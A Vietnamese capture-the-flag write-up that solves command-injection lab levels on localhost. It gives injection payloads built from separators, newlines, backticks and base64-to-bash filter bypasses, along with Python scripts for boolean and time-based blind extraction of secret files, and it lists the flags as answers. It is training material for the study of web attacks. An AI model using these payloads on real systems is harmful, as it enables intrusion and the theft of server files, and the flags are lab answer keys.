# Lab 1
## level 1
Thử lệnh ping 8.8.8.8

=> Có thể thấy kết quả của request.
Level này không lọc dữ liệu đầu vào nên có thể chèn lệnh bình thường. Nhập `; ls /` để tìm file chứa flag.

Thay lệnh ls bằng
`cat /142awdfasd_secret.txt` để đọc file này.

- `Flag: CBJS{Basic_Command_Injection_0b4df8ed64f424432facd35e16883402}`
## level 2

Input bài này chặn kí tự `;`. Ngoài `;` có thể dùng các kí tự `&` hoặc `|` để chèn thêm một command. Làm tương tự level 1, tìm file chứa flag:

Đọc file:

- Flag: `CBJS{Command_Injection_Dont_need_semicolon_763d036657127a4f21c670530e319b52}`
## level 3
Bài này chặn cả 3 kí tự `;`, `&`, `|`. Vì mỗi câu lệnh trong os command nằm trên một dòng riêng nên ta có thể thêm một câu lệnh bằng cách bắt đầu một dòng mới với kí tự `%0A`.
=> Input: `%0A ls /`

Thay `ls /` thành `cat 3ef1cafd_secret.txt` để đọc file và lấy flag

- Flag: `CBJS{Not_only_;&|_but_there_are_mor_520c298589c33766dc2688b3866c95cb}`
## level 4

Bài này không trả về kết quả của request, ta phải tìm cách lấy được flag và đảm bảo đúng cú pháp của câu lệnh zip.
Xem file docker

ta thấy file chứa flag là file `/aefd123cdf_secret.txt`. Nhập input là `../var/www/html/backup.zip -r /aefd123cdf_secret.txt` để nén file flag vào đường dẫn var/www/html/backup.zip để có thể lấy được file zip flag tại `localhost:3004/backup.zip`. Giải nén file và xem flag

- Flag: `CBJS{Blind_Command_Injection_a3183b33bb4885bbd0c9ddfe20c35ab8}
## level 6
- Script bruteforce thư mục root:
```
import requests
import string
url = "http://localhost:3006"
wl = string.ascii_letters
wl += "".join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '-', '_', "'", '{', '}','.'])
start = 1
data = {"command":"backup", "target":"test"}
result = ""
while 1:
for check in wl:
data['target'] = "ab | if((expr substr `ls / | tr \"\n\r\" \"-\"` {} 1 = {})); then echo 1; else echo zip error; fi #".format(start, check)
response = requests.post(url, data)
if("Backup th" in response.text):
result += check
start += 1
print(result)
break
else:
break
```
Kết quả:

- Script bruteforce flag:
```
import requests
import string
url = "http://localhost:3006"
wl = string.ascii_letters
wl += "".join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '-', '_', "'", '{', '}','.'])
start = 1
data = {"command":"backup", "target":"test"}
result = ""
while 1:
for check in wl:
data['target'] = "ab | if((expr substr `cat /secret_file | tr \"\n\r\" \"-\"` {} 1 = {})); then echo 1; else echo zip error; fi #".format(start, check)
response = requests.post(url, data)
if("Backup th" in response.text):
result += check
start += 1
print(result)
break
else:
break
```
Kết quả:

- Flag:`CBJS{trUe_0r_f4lse_d3tEct1on_b56c6ec4dd59e1741144ee8913e6b857}`
## level 7
Do bài này chỉ thông báo "Đã chạy câu lệnh backup" chứ không thông báo backup có thành công hay không, nên ta phải dùng time-based.
Bruteforce thư mục gốc:
```
import requests
import string
url = "http://localhost:3007"
wl = string.ascii_letters
wl += "".join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '-', '_', "'", '{', '}','.'])
start = 1
data = {"command":"backup", "target":"test"}
result = ""
while 1:
for check in wl:
data['target'] = "ab | if((expr substr `ls / | tr \"\n\r\" \"-\"` {} 1 = {})); then sleep 0.5; else echo zip error; fi #".format(start, check)
response = requests.post(url, data)
request_time = response.elapsed.total_seconds()
if(request_time >= 0.5):
result += check
start+=1
print(result)
break
else:
print("Result:",result)
break
```
Kết quả:

Bruteforce flag:
```
import requests
import string
url = "http://localhost:3007"
wl = string.ascii_letters
wl += "".join(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '`', '~', '!', '@', '$', '%', '-', '_', "'", '{', '}','.'])
start = 1
data = {"command":"backup", "target":"test"}
result = ""
while 1:
for check in wl:
data['target'] = "ab | if((expr substr `cat /aef15696cd_secret.txt` {} 1 = {})); then sleep 0.5; else echo zip error; fi #".format(start, check)
response = requests.post(url, data)
request_time = response.elapsed.total_seconds()
if(request_time >= 0.5):
result += check
start+=1
print(result)
break
else:
print("Result:",result)
break
```
Kết quả:

- Flag: `CBJS{Dr_Str4nge_W1Ll_pR0ud_oF_y0U_5be2459fbc44d1c2331cb840acd15fd0}`
# Lab 4in1
## level 1
Xem source ta thấy ở type `figlet` có thể khai thác lỗi qua biến `username`

Level này addslashes nên không được dùng các kí tự ', ", \ trong input.
Dùng kí tự `` để thực thi command:
```
`ls /`
```
để tìm file chứa flag, ta tìm thấy file secret_file.

Sau đó nhập
```
`cat /secret_file`
```
để xem flag.

- Flag: `You are master of Command Injection now! b38e625204bd8d09089d3eacc3a9c862`
## level 2
Tương tự như level 1, Dùng
```
`ls /`
```
để tìm file chứa flag.
Để đọc file flag, ta dùng lệnh `cat /secret_file`. Tuy nhiên, bài này chỉ lấy 10 kí tự từ input

Mà do trong thư mục / chỉ có 1 file là file chứa flag nên ta có thể dùng lệnh
```
`cat /*`
```
để đọc file và lấy flag.

- Flag: `You are master of Command Injection now! b38e625204bd8d09089d3eacc3a9c862`
## level 3
Theo thứ tự bảng mã ascii, level này lọc các kí tự từ `space` đến `)` và kí tự `/`.

Encode base64 lệnh `ls /` và dùng `%09` thay cho space để bypass filter và xem thư mục gốc.
=> Input:
```
`echo%09bHMgLw==|base64%09-d|bash`
```

Lại là secret_file. Để xem lấy được flag, thay đoạn mã base64 của lệnh `ls /` bằng base64 của lệnh `cat /secret_file`
=> Input:
```
`echo%09Y2F0IC9zZWNyZXRfZmlsZQ==|base64%09-d|bash`
```

- Flag: `You are master of Command Injection now! b38e625204bd8d09089d3eacc3a9c862`
## level 4
Do bài này filter thêm một số kí tự đặc biệt như `;`, `<`, `>`...và không có trong payload level 3 nên làm giống như level 3 là được.
- Kiểm tra thư mục root:
```
echo%09bHMgLw==|base64%09-d|bash`
```

- Xem flag:
```
`echo%09Y2F0IC9zZWNyZXRfZmlsZQ==|base64%09-d|bash`
```

- Flag: `You are master of Command Injection now! b38e625204bd8d09089d3eacc3a9c862`